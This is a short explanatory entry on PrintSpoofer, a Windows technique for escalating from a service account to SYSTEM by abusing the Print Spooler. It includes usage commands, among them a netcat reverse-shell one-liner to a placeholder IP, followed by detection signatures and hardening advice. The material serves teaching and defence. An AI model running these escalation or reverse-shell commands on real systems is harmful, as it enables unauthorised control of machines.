PrintSpoofer

PrintSpoofer is a Potato-family variant that escalates to SYSTEM from a service account with SeImpersonatePrivilege (SeImpersonate abuse). Instead of coercing a DCOM object like JuicyPotato, it abuses the Print Spooler service and its RPC interface RpcRemoteFindFirstPrinterChangeNotificationEx, which can be forced to connect to a local named pipe we control. When the service (running as SYSTEM) connects, we capture its token and launch a process with it.

whoami /priv               # confirm SeImpersonatePrivilege = Enabled
.\printspoofer.exe -i -c cmd        # interactive shell as SYSTEM
.\printspoofer.exe -c "nc.exe <ip> <port> -e cmd.exe"

The typical output confirms each step: it finds the privilege, leaves a named pipe listening and reaches CreateProcessAsUser() OK, opening a shell as nt authority\system.

It is the preferred option on Windows 10 / Server 2016-2019 where JuicyPotato was mitigated by the DCOM broker changes, as long as the Spooler service is running.

Nuance. It depends on the Print Spooler being enabled (it is by default on many systems, but post-PrintNightmare hardening disables it); if not, other variants are used (GodPotato, RoguePotato). The privilege remains the essential prerequisite.

How to detect it. Like every Potato, the signature is process lineage: a child as NT AUTHORITY\SYSTEM hanging off a service account (4688/Sysmon 1) with no prior interactive login. PrintSpoofer-specific is its abuse of the Spooler: a process connecting to the \pipe\spoolss named pipe (Sysmon 17/18, Pipe Created/Connected) and RPC activity against the print service. The freshly dropped printspoofer.exe binary is flagged by EDR/AV. See SeImpersonate and potatoes for the family's shared detection.

Defence. Disable the Print Spooler where it is not needed, minimize service accounts with SeImpersonatePrivilege and keep the system patched. Conceptually it is the equivalent of SUID abuse on Linux: a legitimate permission turned into escalation.